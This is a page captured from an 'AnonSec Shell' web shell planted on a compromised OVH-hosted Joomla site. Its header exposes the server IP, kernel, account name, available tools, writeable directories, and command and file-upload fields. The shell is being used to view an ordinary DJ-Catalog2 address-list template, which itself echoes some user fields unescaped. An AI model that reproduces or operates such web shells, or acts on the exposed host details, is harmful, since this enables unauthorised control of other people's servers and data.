AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/pornic/components/com_djcatalog2/views/addresses/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/pornic/components/com_djcatalog2/views/addresses/tmpl/default.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;

$user = Factory::getUser();
Factory::getApplication()->getDocument()->getWebAssetManager()->useScript('core');

?>

<?php //if ($this->params->get( 'show_page_heading', 1)) { ?>
<h1 class="componentheading<?php echo $this->params->get( 'pageclass_sfx' ) ?>">
	<?php echo $this->escape($this->params->get('page_heading')); ?>
</h1>
<?php //} ?>

<script type="text/javascript">
	Joomla.submitbutton = function(task)
	{
		Joomla.submitform(task, document.getElementById('submit-address-form'));
	}
</script>

<div id="djcatalog" class="djc_addresses<?php echo $this->params->get( 'pageclass_sfx' ).' djc_theme_'.$this->params->get('theme','default') ?>">


<div class="formelm-buttons djc_form_toolbar">
	<form action="<?php echo Route::_('index.php?option=com_djcatalog2&view=address'); ?>" method="post" name="submit-address-form" id="submit-address-form">
		<button type="button" onclick="Joomla.submitbutton('address.add')" class="button btn btn-primary btn-success">
			<?php echo Text::_('COM_DJCATALOG2_ADDRESS_ADD') ?>
		</button>
		<input type="hidden" name="task" value="" />
	</form>
</div>

<?php if ($this->items && count($this->items) > 0){ ?>
<div class="djc_addresses_list">
	<div class="row row-fluid">
	<?php foreach ($this->items as $key => $item) { 
		if($key && $key%2 == 0) { ?>
	</div><div class="row row-fluid">
		<?php } ?>
		<div class="col-md-6">
			<div class="djc_address_item well">
				<h3><?php echo $item->name ?></h3>
				<?php if ($item->company) { ?>
					<strong><?php echo $item->company?></strong><br />
				<?php }?>
				<strong><?php echo $item->firstname.' '.$item->lastname; ?></strong><br />
				<?php echo $item->postcode.', '.$item->city; ?><br />
				<?php echo $item->address; ?><br />
				<?php echo $item->country; ?><?php echo (!empty($item->state) ? ', ':''). $item->state; ?><br />
				<div class="djc_address_btns">
					<a class="btn btn-primary btn-small " href="<?php echo Route::_('index.php?option=com_djcatalog2&task=address.edit&id='.(int)$item->id); ?>"><?php echo Text::_('COM_DJCATALOG2_EDIT') ?></a>
					<a class="btn btn-primary btn-small btn-danger" href="<?php echo Route::_('index.php?option=com_djcatalog2&task=addresses.delete&id='.(int)$item->id.'&'.Session::getFormToken().'=1'); ?>"><?php echo Text::_('COM_DJCATALOG2_DELETE') ?></a>
				</div>
			</div>
		</div>
	<?php } ?>
	</div>
</div>
<?php } ?>

<?php if ($this->pagination->total > 0) { ?>
<div class="djc_pagination pagination djc_clearfix">
<?php
	echo $this->pagination->getPagesLinks();
?>
</div>
<?php } ?>

<?php 
	if ($this->params->get('show_footer')) echo DJCATFOOTER;
?>
</div>

Anon7 - 2022
AnonSec Team